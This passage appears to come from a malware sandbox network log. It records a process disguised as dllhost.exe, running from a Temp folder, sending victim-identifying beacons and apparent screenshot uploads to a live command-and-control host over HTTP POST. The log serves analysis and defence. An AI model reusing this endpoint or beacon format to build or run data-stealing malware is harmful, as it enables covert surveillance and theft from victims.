Nov 29, 2024 01:53:13.720581055 CET	7416	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:13.720581055 CET	2472	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:13.720680952 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:13.720696926 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:13.720788956 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:13.840536118 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49873	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:14.546977043 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49874	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:14.598989010 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:14.599049091 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:14.599116087 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:14.599136114 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:14.719383001 CET	9888	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:14.719449043 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:14.719501019 CET	2472	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:14.719516993 CET	2472	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:14.719594002 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:14.719733953 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:14.839554071 CET	7416	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49880	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:15.945132017 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49881	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:16.318600893 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2b8041a10abd63097aaf92c151839ca7 Host: web.jsonpost.xyz Content-Length: 98296 Cache-Control: no-cache
Nov 29, 2024 01:53:16.318648100 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 62 38 30 34 31 61 31 30 61 62 64 36 33 30 39 37 61 61 66 39 32 63 31 35 31 38 33 39 63 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2b8041a10abd63097aaf92c151839ca7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:16.318728924 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:16.318810940 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:16.438729048 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:16.438857079 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:53:16.438951969 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:16.439012051 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:16.439114094 CET	6180	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:16.559098005 CET	4944	OUT	Data Raw: 69 ed 79 b4 08 b7 3e d0 f2 22 bb aa 1c 16 54 24 33 00 41 c9 00 81 83 e8 6a c0 21 94 11 d0 8c d6 5d 8d c6 a3 fd 8f 0e 9b 76 75 48 56 11 2a 20 b3 bf 68 e0 74 76 2e 04 b1 6d 21 c8 2c 46 41 5c 8c 03 d2 b4 d0 6d 8d 57 d0 01 5d f8 1a 95 e7 0f df 2b 58 Data Ascii: iy>"T$3Aj!]vuHV* htv.m!,FA\mW]+X:XZu?t:>R3S~HQ:oh.cg11_1Jr2^.x_XyagrK-A1,u-x<ToEs5V;W\} X.bO]:gx.B8
Nov 29, 2024 01:53:16.559168100 CET	2472	OUT	Data Raw: 72 43 15 cb e9 c6 47 6b 79 30 63 73 92 cb b1 5b 8f 7e 4d 71 e4 10 70 7a d7 a9 49 24 f2 ea 71 ac 90 ea 96 1f 6c 93 6a 93 f6 66 4d e2 32 7b 33 37 dd 43 5c 2f 8a 2d 85 a7 88 6e 61 0e 5f 1b 49 66 00 12 4a 82 7a 00 3b d7 a9 96 e2 aa b9 fb 1a 8e f7 d5 Data Ascii: rCGky0cs[~MqpzI$qljfM2{37C\/-na_IfJz;;gfc(p(kik6\|e885_h+zw\|'SZN"I\cC7J3Jc]F2*'r3_1uUKiV.rwt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49883	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:17.326968908 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49888	72.52.178.23	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:17.828219891 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:17.828286886 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:17.828366995 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:17.828418016 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:17.948638916 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:17.948769093 CET	7416	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:53:17.948934078 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:17.949053049 CET	6180	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:17.949053049 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:18.068763971 CET	2472	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS
Nov 29, 2024 01:53:18.069006920 CET	4944	OUT	Data Raw: 48 d2 29 c1 21 77 6d 0b 90 70 0a 93 8e f9 e6 b6 2e a3 8e 2d 6a f2 d6 de e6 d1 d5 75 28 ec 44 29 33 b3 40 d2 13 e5 ef 24 63 9c 1e 85 b1 d0 e0 f1 59 17 d0 de dd d8 cf 6f 25 95 93 dc 4c 81 1e f7 e7 59 1c 0e ec 03 6c 2d 8e 37 6d cf 7c e7 9a ae 6d b5 Data Ascii: H)!wmp.-ju(D)3@$cYo%LYl-7m\|m\]jj2ob\|w,r:9qqqk=WsyfOknl%G7"($rFml1\\C#32Ac]ic8bmlen(`($I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49889	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:18.703598976 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49890	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:19.484946966 CET	196	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----5add77a23e85c1c8c456f4525574afb1 Host: web.jsonpost.xyz Content-Length: 103478 Cache-Control: no-cache
